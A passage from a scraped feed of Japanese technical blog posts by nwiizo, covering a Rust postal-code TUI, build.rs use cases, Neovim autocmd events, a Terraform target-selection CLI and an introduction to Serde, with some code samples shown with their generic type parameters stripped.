jpostaこちら、みんなだいすきcrate.ioにちゃんとあげました。https://crates.io/crates/jposta基本操作Tab: 郵便番号/住所検索モード切替↑↓: 結果スクロールEsc: 終了検索モード郵便番号検索数字を入力すると自動で該当する住所を表示部分一致対応(\"100\"で始まる郵便番号すべて等)住所検索漢字やかなで住所を入力部分一致対応(\"渋谷\"等)Rustでの実装解説1. 基本構造の定義#[derive(Clone)]enum InputMode { Postal, // 郵便番号検索 Address, // 住所検索}struct App { input: String, results: Vec, input_mode: InputMode, scroll_state: ScrollbarState, scroll_position: u16, search_tx: mpsc::Sender, result_rx: mpsc::Receiver>,}InputModeは検索モードを表す列挙型です。Cloneトレイトを導出することで、値のコピーが可能になります。App構造体はアプリケーションの状態を管理します。input: 現在の入力文字列results: 検索結果の配列input_mode: 現在の検索モードscroll_stateとscroll_position: スクロール状態の管理search_txとresult_rx: スレッド間通信用のチャンネル2. アプリケーションの初期化impl App { fn new() -> App { let (search_tx, search_rx) = mpsc::channel::(); let (result_tx, result_rx) = mpsc::channel(); thread::spawn(move || { let mut last_query = String::new(); let mut input_mode = InputMode::Postal; while let Ok(query) = search_rx.recv() { // 検索処理(後述) } }); App { input: String::new(), results: Vec::new(), input_mode: InputMode::Postal, scroll_state: ScrollbarState::default(), scroll_position: 0, search_tx, result_rx, } }}new()関数では、2つのチャンネルを作成(検索クエリ用と結果用)検索処理を行うワーカースレッドを起動初期状態のAppインスタンスを返す3. 検索処理の実装// 検索スレッド内の処理if query.starts_with(\"MODE_CHANGE:\") { input_mode = match &query[11..] { \"postal\" => InputMode::Postal, _ => InputMode::Address, }; continue;}if query == last_query { continue; }last_query = query.clone();if query.is_empty() { let _ = result_tx.send(Vec::new()); continue;}thread::sleep(Duration::from_millis(100));let results = match input_mode { InputMode::Postal => lookup_addresses(&query) .map(|addresses| { addresses .into_iter() .map(|addr| addr.formatted_with_kana()) .collect() }) .unwrap_or_default(), InputMode::Address => search_by_address(&query) .into_iter() .map(|addr| addr.formatted_with_kana()) .collect(),};let _ = result_tx.send(results);検索処理では、モード変更メッセージの確認と処理重複クエリのスキップ空クエリの即時処理ディバウンス処理(100ms)モードに応じた検索実行結果の送信4. UIとイベント処理fn main() -> io::Result<()> { enable_raw_mode()?; let mut stdout = stdout(); execute!(stdout, EnterAlternateScreen)?; let backend = CrosstermBackend::new(stdout); let mut terminal = Terminal::new(backend)?; let mut app = App::new(); loop { app.check_results(); terminal.draw(|f| { let chunks = Layout::default() .direction(Direction::Vertical) .constraints([ Constraint::Length(3), Constraint::Min(0) ]) .split(f.size()); // 入力欄の描画 let input_block = Block::default() .title(match app.input_mode { InputMode::Postal => \"郵便番号検索\", InputMode::Address => \"住所検索\", }) .borders(Borders::ALL); let input = Paragraph::new(app.input.as_str()) .block(input_block) .style(Style::default().fg(Color::Yellow)); f.render_widget(input, chunks[0]); // 結果表示の描画 let results_block = Block::default() .title(format!(\"検索結果 ({} 件)\", app.results.len())) .borders(Borders::ALL); let results = Paragraph::new(app.results.join(\"\\n\")) .block(results_block) .scroll((app.scroll_position, 0)); f.render_widget(results, chunks[1]); })?; // キー入力処理 if let Event::Key(key) = event::read()? { match key.code { KeyCode::Char(c) => { app.input.push(c); app.search(); } KeyCode::Backspace => { app.input.pop(); app.search(); } KeyCode::Up => app.scroll_up(), KeyCode::Down => app.scroll_down(), KeyCode::Tab => app.change_mode(match app.input_mode { InputMode::Postal => InputMode::Address, InputMode::Address => InputMode::Postal, }), KeyCode::Esc => break, _ => {} } } } // 終了処理 execute!(terminal.backend_mut(), LeaveAlternateScreen)?; disable_raw_mode()?; Ok(())}UIとイベント処理では、ターミナルの初期化メインループ検索結果の確認画面描画キー入力処理終了時のクリーンアップ5. 補助機能の実装impl App { fn search(&mut self) { let _ = self.search_tx.send(self.input.clone()); } fn check_results(&mut self) { if let Ok(new_results) = self.result_rx.try_recv() { self.results = new_results; self.scroll_position = 0; self.scroll_state = ScrollbarState::new(self.results.len()); } } fn scroll_up(&mut self) { self.scroll_position = self.scroll_position.saturating_sub(1); } fn scroll_down(&mut self) { if !self.results.is_empty() { self.scroll_position = self .scroll_position .saturating_add(1) .min((self.results.len() as u16).saturating_sub(1)); } } fn change_mode(&mut self, mode: InputMode) { self.input_mode = mode; let mode_str = match self.input_mode { InputMode::Postal => \"postal\", InputMode::Address => \"address\", }; let _ = self.search_tx.send(format!(\"MODE_CHANGE:{}\", mode_str)); self.input.clear(); self.results.clear(); }}補助機能として、1. 検索リクエストの送信2. 検索結果の確認と更新3. スクロール処理4. モード切替処理これらの機能により、スムーズな検索体験を実現しています。使用ライブラリratatui: TUI(テキストユーザーインターフェース)フレームワークcrossterm: ターミナル操作ライブラリjpostcode_rs: 郵便番号データ処理ライブラリRust学習リソース1. 基礎学習The Rust Programming Language - 公式ガイドブックRust by Example - 実例で学ぶRustRustlings - 対話型学習ツール2. 基本概念構造体(Structs)列挙型(Enums)メソッド実装3. メモリ管理所有権システム参照と借用4. 言語機能パターンマッチングクロージャ5. エラー処理と型システムエラー処理Result型境界チェック演算子さいごにこのプロジェクトは、Rustの実践的な学習と日本の住所システムへの理解を深める良い機会となりました 📚。非同期処理やTUIの実装を通じて、Rustの強力な型システムと安全性を活かしたコーディングを実践できました ⚡。ぜひ使ってみて、フィードバックをいただければ幸いです 🙏。プルリクエストも大歓迎です 🎉!ソースコード🦀GitHub - jposta","isoDate":"2024-12-03T14:00:30.000Z","dateMiliSeconds":1733234430000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"退屈なことはRust Build Scripts にやらせよう","link":"https://syu-m-5151.hatenablog.com/entry/2024/12/03/143149","contentSnippet":"こちらの記事は Rust Advent Calendar 2024 シリーズ 3 3日目の記事です!qiita.comはじめにRustのビルドスクリプト(build.rs)は、コンパイル前のデータ処理や環境設定を自動化する強力なツールです。しかし、大いなる力には、大いなる責任が伴います。コードの生成、リソースの最適化、プラットフォーム固有の設定管理など、ビルド時の様々なタスクを効率的に処理できます。今回は、そのユースケースの1つとして、郵便番号データを処理するビルドスクリプトの実装を詳しく解説します。この例を通じて、build.rsの基本的な使い方から実践的な活用方法まで、段階的に理解を深めていきましょう。doc.rust-lang.orgはじめにユースケース:郵便番号データの処理実装の全体像実装の詳細解説1. ファイル変更の監視設定2. パスの設定3. データの処理4. 結果の出力生成したデータの利用方法1. アプリケーションでのデータ読み込み2. 検索機能の実装build.rsの主要な機能1. 環境変数の設定2. リンカ設定3. コードの生成実践的な利用シーン1. 設定ファイルの統合と生成2. プロトコル定義ファイルの生成3. アセットファイルの埋め込み4. データベースマイグレーションファイルの統合参考資料まとめユースケース:郵便番号データの処理このビルドスクリプトは、複数のJSONファイルに分散された郵便番号データを1つのファイルにマージする処理を行います。github.com実装の全体像use serde_json::Value;use std::collections::HashMap;use std::fs;use std::path::Path;use walkdir::WalkDir;fn main() { println!(\"cargo:rerun-if-changed=jpostcode-data/data/json\"); let json_dir = Path::new(\"jpostcode-data/data/json\"); let out_dir = std::env::var(\"OUT_DIR\").unwrap(); let dest_path = Path::new(&out_dir).join(\"address_data.json\"); let mut merged_data = HashMap::new(); // ... データ処理ロジック ...}実装の詳細解説1. ファイル変更の監視設定println!(\"cargo:rerun-if-changed=jpostcode-data/data/json\");この行は、指定したディレクトリ内のファイルが変更された場合にのみビルドスクリプトを再実行するように設定します。これにより、不必要なビルド時間を削減できます。2. パスの設定let json_dir = Path::new(\"jpostcode-data/data/json\");let out_dir = std::env::var(\"OUT_DIR\").unwrap();let dest_path = Path::new(&out_dir).join(\"address_data.json\");json_dir: 入力となるJSONファイルが格納されているディレクトリout_dir: Cargoが提供するビルド出力ディレクトリdest_path: 生成されるファイルの出力先3. データの処理for entry in WalkDir::new(json_dir).into_iter().filter_map(|e| e.ok()) { if entry.file_type().is_file() && entry.path().extension().map_or(false, |ext| ext == \"json\") { let content = fs::read_to_string(entry.path()).unwrap(); let file_data: HashMap = serde_json::from_str(&content).unwrap(); let prefix = entry.path().file_stem().unwrap().to_str().unwrap(); for (suffix, data) in file_data { let full_postcode = format!(\"{}{}\", prefix, suffix); merged_data.insert(full_postcode, data); } }}このコードブロックでは以下の処理を行っています。WalkDirを使用してディレクトリを再帰的に走査JSONファイルのみを対象にフィルタリング各ファイルの内容を読み込みとパースファイル名とデータを組み合わせて完全な郵便番号を生成マージされたデータに追加4. 結果の出力fs::write(dest_path, serde_json::to_string(&merged_data).unwrap()).unwrap();処理したデータを1つのJSONファイルとして出力します。生成したデータの利用方法1. アプリケーションでのデータ読み込みuse once_cell::sync::Lazy;use serde::{Deserialize, Serialize};use std::collections::HashMap;#[derive(Debug, Serialize, Deserialize)]struct Address { postcode: String, prefecture: String, city: String, // ... 他のフィールド}static ADDRESS_MAP: Lazy>> = Lazy::new(|| { let data = include_str!(concat!(env!(\"OUT_DIR\"), \"/address_data.json\")); serde_json::from_str(data).expect(\"Failed to parse address data\")});2. 検索機能の実装fn lookup_address(postal_code: &str) -> Option<&Vec
> { ADDRESS_MAP.get(postal_code)}fn search_by_prefecture(prefecture: &str) -> Vec<&Address> { ADDRESS_MAP .values() .flat_map(|addresses| addresses.iter()) .filter(|addr| addr.prefecture == prefecture) .collect()}build.rsの主要な機能1. 環境変数の設定// コンパイル時の条件設定println!(\"cargo:rustc-cfg=feature=\\\"custom_feature\\\"\");// 環境変数の設定println!(\"cargo:rustc-env=APP_VERSION=1.0.0\");2. リンカ設定// 外部ライブラリのリンクprintln!(\"cargo:rustc-link-lib=sqlite3\");println!(\"cargo:rustc-link-search=native=/usr/local/lib\");3. コードの生成// バージョン情報の生成let version_code = format!( \"pub const VERSION: &str = \\\"{}\\\";\\n\", env!(\"CARGO_PKG_VERSION\"));fs::write(\"version.rs\", version_code)?;実践的な利用シーン1. 設定ファイルの統合と生成複数の環境向けの設定ファイルを1つに統合する例:use std::collections::HashMap;use serde_json::Value;fn main() { println!(\"cargo:rerun-if-changed=config/\"); let environments = [\"development\", \"staging\", \"production\"]; let mut merged_config = HashMap::new(); for env in environments { let config_path = format!(\"config/{}.json\", env); let config_content = std::fs::read_to_string(&config_path).unwrap(); let config: Value = serde_json::from_str(&config_content).unwrap(); merged_config.insert(env, config); } let out_dir = std::env::var(\"OUT_DIR\").unwrap(); let dest_path = Path::new(&out_dir).join(\"config.rs\"); // 設定をRustのコードとして出力 let config_code = format!( \"pub static CONFIG: Lazy> = Lazy::new(|| {{ serde_json::from_str({}).unwrap() }});\", serde_json::to_string(&merged_config).unwrap() ); std::fs::write(dest_path, config_code).unwrap();}使用例:// main.rsuse once_cell::sync::Lazy;include!(concat!(env!(\"OUT_DIR\"), \"/config.rs\"));fn get_database_url(env: &str) -> String { CONFIG[env][\"database\"][\"url\"].as_str().unwrap().to_string()}2. プロトコル定義ファイルの生成Protocol Buffersの定義ファイルからRustコードを生成する例:use std::process::Command;fn main() { println!(\"cargo:rerun-if-changed=proto/\"); // protoファイルのコンパイル let status = Command::new(\"protoc\") .args(&[ \"--rust_out=src/generated\", \"--proto_path=proto\", \"service.proto\" ]) .status() .unwrap(); if !status.success() { panic!(\"Failed to compile proto files\"); } // 生成されたコードをモジュールとして登録 let mod_content = r#\" pub mod generated { include!(\"generated/service.rs\"); } \"#; std::fs::write(\"src/proto_mod.rs\", mod_content).unwrap();}使用例:// lib.rsmod proto_mod;use proto_mod::generated::{UserRequest, UserResponse};pub async fn handle_user_request(req: UserRequest) -> UserResponse { // プロトコル定義に基づいた処理}3. アセットファイルの埋め込み画像やテキストファイルをバイナリに埋め込む例:use std::collections::HashMap;use base64;fn main() { println!(\"cargo:rerun-if-changed=assets/\"); let mut assets = HashMap::new(); // 画像ファイルの埋め込み for entry in std::fs::read_dir(\"assets\").unwrap() { let entry = entry.unwrap(); let path = entry.path(); if path.extension().map_or(false, |ext| ext == \"png\" || ext == \"jpg\") { let content = std::fs::read(&path).unwrap(); let encoded = base64::encode(&content); let asset_name = path.file_name().unwrap().to_str().unwrap(); assets.insert(asset_name.to_string(), encoded); } } // アセットデータをRustコードとして出力 let out_dir = std::env::var(\"OUT_DIR\").unwrap(); let dest_path = Path::new(&out_dir).join(\"assets.rs\"); let assets_code = format!( \"pub static ASSETS: Lazy> = Lazy::new(|| {{ let mut m = HashMap::new(); {} m }});\", assets.iter().map(|(k, v)| { format!(\"m.insert(\\\"{}\\\".to_string(), \\\"{}\\\".to_string());\", k, v) }).collect::>().join(\"\\n\") ); std::fs::write(dest_path, assets_code).unwrap();}使用例:// lib.rsuse once_cell::sync::Lazy;include!(concat!(env!(\"OUT_DIR\"), \"/assets.rs\"));pub fn get_image_data(name: &str) -> Option> { ASSETS.get(name) .map(|encoded| base64::decode(encoded).unwrap())}4. データベースマイグレーションファイルの統合SQLマイグレーションファイルを1つのモジュールにまとめる例:fn main() { println!(\"cargo:rerun-if-changed=migrations/\"); let mut migrations = Vec::new(); // マイグレーションファイルの収集 for entry in std::fs::read_dir(\"migrations\").unwrap() { let entry = entry.unwrap(); let path = entry.path(); if path.extension().map_or(false, |ext| ext == \"sql\") { let version = path.file_stem().unwrap().to_str().unwrap() .split('_').next().unwrap(); let content = std::fs::read_to_string(&path).unwrap(); migrations.push((version.to_string(), content)); } } // マイグレーションをRustコードとして出力 let migrations_code = format!( \"pub static MIGRATIONS: &[(&str, &str)] = &[{}];\", migrations.iter() .map(|(ver, sql)| format!(\"(\\\"{}\\\", \\\"{}\\\")\", ver, sql.replace(\"\\\"\", \"\\\\\\\"\"))) .collect::>() .join(\",\\n\") ); let out_dir = std::env::var(\"OUT_DIR\").unwrap(); let dest_path = Path::new(&out_dir).join(\"migrations.rs\"); std::fs::write(dest_path, migrations_code).unwrap();}使用例:// database.rsinclude!(concat!(env!(\"OUT_DIR\"), \"/migrations.rs\"));pub async fn run_migrations(db: &SqlitePool) -> Result<()> { for (version, sql) in MIGRATIONS { db.execute(sql).await?; println!(\"Applied migration version {}\", version); } Ok(())}これらの例は、build.rsの実践的な使用方法を示しています。各例で以下のような利点があります。コンパイル時のリソース最適化開発時の利便性向上ランタイムパフォーマンスの改善コードの保守性向上実際のプロジェクトでは、これらの手法を組み合わせたり、プロジェクトの要件に合わせてカスタマイズしたりすることで、より効率的な開発環境を構築できます。しかし、魔環境もしくはビルド地獄を顕現させることもできるので注意が必要だと思いました。参考資料The Cargo Book - Build ScriptsRust By Example - Build Scriptsまとめこのビルドスクリプトの実装例を通じて、build.rsの有用性が明確になりました。コンパイル時のデータ最適化や複数ファイルの統合処理、動的なコード生成、そしてプラットフォーム固有の設定管理など、多岐にわたる機能を提供します。実際のプロジェクトでは、これらの機能を組み合わせることで、効率的な開発環境とビルドプロセスを実現できます。build.rsを活用することで、コンパイル時に必要なリソースの最適化や設定の自動化が可能となり、開発効率の向上とコードの保守性改善に大きく貢献します。","isoDate":"2024-12-03T05:31:49.000Z","dateMiliSeconds":1733203909000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"3-shake Advent Calendar 2024 やっていきます #3SHAKE","link":"https://syu-m-5151.hatenablog.com/entry/2024/11/30/142710","contentSnippet":"こんにちは、nwiizoです。晩秋の肌寒さが身にしみるこの11月も今日で終わりですね。ついこの前、昨年のAdvent Calendarで記事埋めを依頼され、慌ただしく準備した記憶が鮮明です。まったく、時の流れとは不思議なものです。今年もスリーシェイクのAdvent Calendarを開催することができます。この企画が実現したのは、ひとえに社内の方々の温かいご協力の賜物であり、その事実に深い感謝の念を抱いております。qiita.comスリーシェイクは「インフラをシンプルにしてイノベーションを起こす」というビジョンのもと、クラウド、セキュリティ、データ連携、HR領域で4つのサービスを展開しているテクノロジーカンパニーです。3-shake.com先日、シリーズB追加ラウンドとしてNTTデータ、SCSKから10億円の資金調達を実施し、資本業務提携を締結するニュースが出るなど、着実に成長を続けています。prtimes.jp今年のAdvent Calendarでも、エンジニアの技術的な記事だけでなく、スリーシェイクで働く様々な職種のメンバーによる記事をお届けする予定です。エンジニア以外にも営業、カスタマーサクセス、広報、経営企画など、多様なバックグラウンドを持つメンバーたちが、それぞれの視点からスリーシェイクでの経験や日々の発見を共有していきます。なぜ技術的な記事に限定しないのか。それは、私たちが目指すイノベーションには、技術だけでなく、様々な専門性や視点が必要だと考えているからです。このAdvent Calendarを通じて、スリーシェイクがどのような会社で、どんな人たちが働いているのか、より深く知っていただければ幸いです。記事の更新情報は、スリーシェイクの公式Xアカウント(@3shake_Inc)でお知らせしていきますので、ぜひフォローをお願いします!また、Advent Calendarも合わせてチェックしていただければと思います。成長を続けるスリーシェイクの「今」を知るきっかけとして、どうぞお楽しみください!jobs-3-shake.com","isoDate":"2024-11-30T05:27:10.000Z","dateMiliSeconds":1732944430000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"メインテーマはKubernetes","link":"https://speakerdeck.com/nwiizo/meintemahakubernetes","contentSnippet":"2024年16:20-17:00(Track A)にて「メインテーマはKubernetes」というタイトルで登壇します。\r\rイベント名: Cloud Native Days Winter 2024\r\r公式URL:https://event.cloudnativedays.jp/cndw2024/\r\rセッションURL:https://event.cloudnativedays.jp/cndw2024/talks/2373","isoDate":"2024-11-28T05:00:00.000Z","dateMiliSeconds":1732770000000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"Neovimのイベントタイミングガイド","link":"https://syu-m-5151.hatenablog.com/entry/2024/11/27/023303","contentSnippet":"はじめにNeovimでの設定やプラグイン開発において、適切なタイミングでコードを実行することは非常に重要です。このガイドでは、Neovimの主要なイベントについて、実用的な例を交えながら解説します。1. 起動時のイベント系統Neovimの起動プロセスで最も重要なイベントはVimEnterです。これは全ての初期化処理(vimrcの読み込み、プラグインの初期化など)が完了した後に発火します:vim.api.nvim_create_autocmd(\"VimEnter\", { callback = function() -- プラグインの初期化 -- カラースキームの設定 -- ステータスラインの設定など end,})2. バッファ操作のイベント系統バッファの作成から読み込みまでの主要なイベント:BufNew: バッファ作成直後BufAdd: バッファリストへの追加時BufReadPre: ファイル読み込み前BufReadPost: ファイル読み込み後BufEnter: バッファアクティブ化時vim.api.nvim_create_autocmd(\"BufReadPost\", { pattern = \"*\", callback = function() -- ファイル読み込み後の処理 -- 最後のカーソル位置の復元など end,})3. 編集モードのイベント系統テキスト編集に関連する主要なイベント:InsertEnter: 挿入モード開始時TextChangedI: 挿入モードでテキスト変更時InsertLeave: 挿入モード終了時TextChanged: ノーマルモードでテキスト変更時vim.api.nvim_create_autocmd(\"InsertEnter\", { pattern = \"*\", callback = function() -- 挿入モード開始時の設定 -- 相対行番号の無効化など end,})4. ファイル保存のイベント系統ファイル保存時の処理フロー:BufWritePre: 保存前BufWrite: 保存処理中BufWritePost: 保存後vim.api.nvim_create_autocmd(\"BufWritePre\", { pattern = \"*\", callback = function() -- 保存前の自動整形 -- 末尾の空白除去など end,})5. 終了時のイベント系統Neovim終了時の処理順序:QuitPre: 終了コマンド実行時VimLeavePre: 終了処理開始前VimLeave: 最終終了処理時vim.api.nvim_create_autocmd(\"VimLeavePre\", { callback = function() -- セッション保存 -- 未保存バッファの保存など end,})実践的なサンプルコード以下は、よくある設定パターンの例です:-- ファイルタイプ別の設定vim.api.nvim_create_autocmd(\"FileType\", { pattern = {\"python\", \"lua\", \"rust\"}, callback = function() local settings = { python = { indent = 4, expandtab = true }, lua = { indent = 2, expandtab = true }, rust = { indent = 4, expandtab = true } } local ft = vim.bo.filetype if settings[ft] then vim.bo.shiftwidth = settings[ft].indent vim.bo.expandtab = settings[ft].expandtab end end,})-- 自動保存の設定vim.api.nvim_create_autocmd({\"InsertLeave\", \"TextChanged\"}, { pattern = \"*\", callback = function() if vim.bo.modified and vim.bo.buftype == \"\" then vim.cmd(\"silent! write\") end end,})-- 最後のカーソル位置を復元vim.api.nvim_create_autocmd(\"BufReadPost\", { pattern = \"*\", callback = function() local last_pos = vim.fn.line(\"'\\\"\") if last_pos > 0 and last_pos <= vim.fn.line(\"$\") then vim.cmd('normal! g`\"') end end,})注意点イベントは適切な順序で処理される必要があります重い処理は非同期で行うことを推奨しますパターンマッチングを活用して、必要なファイルタイプのみで実行するようにしますvim.schedule()を使用して、UIブロッキングを避けます参考文献Neovim オートコマンドドキュメントAutocmd | 5. eventsNeovim Lua API リファレンスnvim_create_autocmd())","isoDate":"2024-11-26T17:33:03.000Z","dateMiliSeconds":1732642383000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"Rustでterraform plan/apply のターゲット指定を簡単にするツールを作ってみた - tfocusの仕組みと使い方","link":"https://syu-m-5151.hatenablog.com/entry/2024/11/27/004309","contentSnippet":"1. はじめにこんにちは、nwiizoです。本記事では、Terraformで特定のリソースだけをplan/applyするためのインタラクティブCLIツール「tfocus」の設計と実装について、Rustの学習という観点も交えながら詳しく解説していきます。github.comまた、良さそうであればGithub Starsをいただきたいです。2. 背景と動機2.1 開発の契機大規模なTerraformコードベースでの作業において、様々な課題に直面することがあります。本番環境で特定リソースにトラブルが発生した際の調査や、開発中の変更を検証する場合、また大規模な変更を段階的に適用する必要がある場合などが典型的な例です。従来のTerraform CLIでも-targetオプションでリソースを指定できますが、正確なリソースパスを記述する必要があり、緊急時の運用には適していません。特に本番環境でのインシデント対応時には、迅速かつ正確なリソース指定が求められます。developer.hashicorp.com2.2 解決したい問題ツールの開発にあたり、複数の課題解決を目指しています。まずリソース選択を直感的に行えるようにすることで、運用者の負担を軽減します。同時に操作ミスを未然に防ぐ仕組みを導入し、安全性を確保します。また、緊急時にも迅速な対応ができるインターフェースを実現し、効率的なデバッグ作業を可能にすることで、運用効率の向上を図ります。3. 技術スタックの選定3.1 Rustを選んだ理由Rustを採用した理由は複数あります。まず、ゼロコスト抽象化による高いパフォーマンスを実現できることが挙げられます。また、強力な型システムと所有権モデルにより、メモリ安全性を確保できます。さらに、様々なOS向けにネイティブバイナリを生成できるクロスプラットフォーム対応も重要な選定理由となりました。豊富なクレートが利用可能な充実したエコシステムも、開発効率を高める要因となっています。最後に、純粋な学習目的として、小規模なツール開発を通じてRustの理解を深めることも目指しています。何かを引用するために書籍を貼ったが何を引用したいか忘れてしまった(がぎりぎりでこのブログを書いている為に調べることができない)。達人プログラマー ―熟達に向けたあなたの旅― 第2版作者:David Thomas,Andrew Huntオーム社Amazon3.2 主要な依存クレート[dependencies]walkdir = \"2.3\" # ファイルシステム走査regex = \"1.5\" # パターンマッチングclap = \"4.4\" # CLIパーサーthiserror = \"1.0\" # エラー型colored = \"2.0\" # カラー出力crossterm = \"0.27\" # TUIfuzzy-matcher = \"0.3\" # あいまい検索doc.rust-lang.org各クレートの選定理由:walkdir: 効率的な再帰的ファイル走査を提供regex: 高速で柔軟なパターンマッチングが可能clap: 型安全なCLI引数パーサーthiserror: エラー型の簡潔な定義crossterm: プラットフォーム独立なTUI実装fuzzy-matcher: 使いやすいあいまい検索機能4. 実装の詳細4.1 アーキテクチャ設計プロジェクトは機能ごとに明確に分離された以下のモジュール構成を採用しています:src/├── cli.rs # CLIインターフェース├── display.rs # 表示処理├── error.rs # エラー型├── executor.rs # Terraform実行├── input.rs # 入力処理├── main.rs # エントリーポイント├── project.rs # プロジェクト解析├── selector.rs # リソース選択UI└── types.rs # 共通型定義各モジュールの責務:cli.rs: コマンドライン引数の定義と解析#[derive(Parser)]#[command(author, version, about)]pub struct Cli { /// Terraformディレクトリのパス #[arg(short, long, default_value = \".\")] pub path: PathBuf, /// 実行する操作 #[arg(short, long)] pub operation: Option, /// 詳細出力の有効化 #[arg(short, long)] pub verbose: bool,}project.rs: Terraformファイルの解析impl TerraformProject { pub fn parse_directory(path: &Path) -> Result { let mut project = TerraformProject::new(); for file_path in Self::find_terraform_files(path)? { project.parse_file(&file_path)?; } Ok(project) } fn parse_file(&mut self, path: &Path) -> Result<()> { let content = fs::read_to_string(path)?; self.parse_resources(&content, path)?; self.parse_modules(&content, path)?; Ok(()) }}4.2 エラーハンドリング型安全なエラーハンドリングを実現するため、カスタムエラー型を定義:#[derive(Error, Debug)]pub enum TfocusError { #[error(\"IO error: {0}\")] Io(#[from] std::io::Error), #[error(\"Failed to parse terraform file: {0}\")] ParseError(String), #[error(\"Invalid target selection\")] InvalidTargetSelection, #[error(\"Terraform command failed: {0}\")] TerraformError(String), #[error(\"No terraform files found\")] NoTerraformFiles,}4.3 リソース選択UIの実装fuzzy検索を活用した効率的なリソース選択:impl Selector { fn filter_items(&mut self) { let query = self.query.to_lowercase(); let mut matches: Vec<(usize, i64)> = self .items .iter() .enumerate() .filter_map(|(index, item)| { self.matcher .fuzzy_match(&item.search_text.to_lowercase(), &query) .map(|score| (index, score)) }) .collect(); // スコアでソート matches.sort_by_key(|&(_, score)| -score); self.filtered_items = matches.into_iter() .map(|(index, _)| index) .collect(); } fn render_screen(&mut self) -> Result<()> { let mut stdout = stdout(); execute!( stdout, terminal::Clear(ClearType::All), cursor::MoveTo(0, 0) )?; self.render_search_box()?; self.render_items()?; self.render_status_line()?; stdout.flush()?; Ok(()) }}4.4 パフォーマンス最適化実行速度とメモリ使用量の最適化:[profile.release]opt-level = 3 # 最高レベルの最適化lto = true # リンク時最適化codegen-units = 1 # 単一コード生成ユニットstrip = true # バイナリサイズ削減5. Rustから学ぶシステム設計tfocusの実装を通じて学べるRustの重要概念プログラミングRust 第2版作者:Jim Blandy,Jason Orendorff,Leonora F. S. TindallオライリージャパンAmazon5.1 所有権とライフタイムリソースの効率的な管理:impl Resource { pub fn full_name(&self) -> String { if self.is_module { format!(\"module.{}\", self.name) } else { format!(\"{}.{}\", self.resource_type, self.name) } }}5.2 エラー伝播?演算子を使用した簡潔なエラーハンドリング:pub fn execute_terraform_command( operation: &Operation, target_options: &[String],) -> Result<()> { let mut command = Command::new(\"terraform\"); command.arg(operation.to_string()); for target in target_options { command.arg(target); } let status = command.spawn()?.wait()?; if status.success() { Ok(()) } else { Err(TfocusError::TerraformError( \"Command execution failed\".to_string() )) }}5.3 トレイトの活用共通インターフェースの定義:pub trait Display { fn render(&self) -> Result<()>; fn update(&mut self) -> Result<()>;}6. まとめ6.1 現在の成果このプロジェクトは現在、直感的なリソース選択UIを実現し、クロスプラットフォームでの利用を可能にしています。また、効率的なメモリ使用を実現するとともに、型安全なエラーハンドリングを導入することで、安定性の向上にも成功しています。6.2 今後の展開使われるようになったらやっていきたいこと。機能拡張の面では、依存関係の可視化機能を導入し、リソース状態をより詳細に表示できるようにしたいと考えています。さらに、バッチ処理のサポートを追加することで、大規模な処理にも対応できるようにしていきます。品質向上については、テストカバレッジを拡大し、システム全体のパフォーマンスを最適化していく予定です。また、エラーメッセージをより分かりやすく改善することで、ユーザー体験の向上を図ります。ドキュメント整備においては、API文書を充実させ、初心者向けのチュートリアルを作成していきます。さらに、実際の使用シーンを想定したユースケース集を整備することで、ユーザーの理解促進を支援していきたいと考えています。おわりにtfocusの開発を通じて、RustとTerraformの実践的な活用方法を示しました。このツールが皆様のインフラ運用の一助となれば幸いです。コードはGitHubで公開しています:nwiizo/tfocusフィードバックやコントリビューションをお待ちしています。","isoDate":"2024-11-26T15:43:09.000Z","dateMiliSeconds":1732635789000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"RustでJSONを扱いたいのでSerde入門します","link":"https://syu-m-5151.hatenablog.com/entry/2024/11/26/141035","contentSnippet":"はじめにRustでデータのシリアライズ/デシリアライズを扱う際、最も広く使われているのがserdeクレートです。特にWeb APIやファイル入出力でよく使用されるJSONとの相互変換において、非常に重宝するツールです。今回は、serdeの基本的な使い方と、開発効率を上げるためのツールについて解説します。SerdeとはSerdeは\"Serialize\"と\"Deserialize\"を組み合わせた造語で、データ構造の変換を担当するRustのフレームワークです。多様なデータフォーマットに対応(JSON、YAML(アーカイブされている)、TOML等)高性能で型安全な実装カスタマイズ可能な属性システムコード生成による簡単な実装docs.rsプロジェクトのセットアップまず、Cargo.tomlに必要な依存関係を追加します。[dependencies]serde = { version = \"1.0\", features = [\"derive\"] }serde_json = \"1.0\"基本的な使い方1. 構造体の定義use serde::{Serialize, Deserialize};#[derive(Serialize, Deserialize, Debug)]struct User { name: String, age: u32, email: String, is_active: bool,}2. JSONからRustへの変換(デシリアライズ)fn main() { let json_str = r#\" { \"name\": \"John Doe\", \"age\": 30, \"email\": \"john@example.com\", \"is_active\": true } \"#; let user: User = serde_json::from_str(json_str).unwrap(); println!(\"Deserialized user: {:?}\", user);}3. RustからJSONへの変換(シリアライズ)fn main() { let user = User { name: \"Jane Doe\".to_string(), age: 25, email: \"jane@example.com\".to_string(), is_active: true, }; let json = serde_json::to_string_pretty(&user).unwrap(); println!(\"Serialized JSON:\\n{}\", json);}JSON to Rust ツールの活用開発効率を大幅に向上させるツールとして、「JSON to Rust」があります。このツールは、JSONデータからRustの構造体定義を自動生成してくれます。JSON to Rustの使い方https://jsonformatter.org/json-to-rust にアクセス左側のペインにJSONデータを貼り付け自動的に右側にRustの構造体定義が生成される例えば、以下のようなJSONデータがあった場合{ \"user_profile\": { \"id\": 123, \"username\": \"rust_lover\", \"settings\": { \"theme\": \"dark\", \"notifications\": true }, \"tags\": [\"rust\", \"programming\"] }}以下のようなRust構造体が生成されます。// Example code that deserializes and serializes the model.// extern crate serde;// #[macro_use]// extern crate serde_derive;// extern crate serde_json;//// use generated_module::[object Object];//// fn main() {// let json = r#\"{\"answer\": 42}\"#;// let model: [object Object] = serde_json::from_str(&json).unwrap();// }extern crate serde_derive;#[derive(Serialize, Deserialize)]pub struct Welcome3 { #[serde(rename = \"user_profile\")] user_profile: UserProfile,}#[derive(Serialize, Deserialize)]pub struct UserProfile { #[serde(rename = \"id\")] id: i64, #[serde(rename = \"username\")] username: String, #[serde(rename = \"settings\")] settings: Settings, #[serde(rename = \"tags\")] tags: Vec,}#[derive(Serialize, Deserialize)]pub struct Settings { #[serde(rename = \"theme\")] theme: String, #[serde(rename = \"notifications\")] notifications: 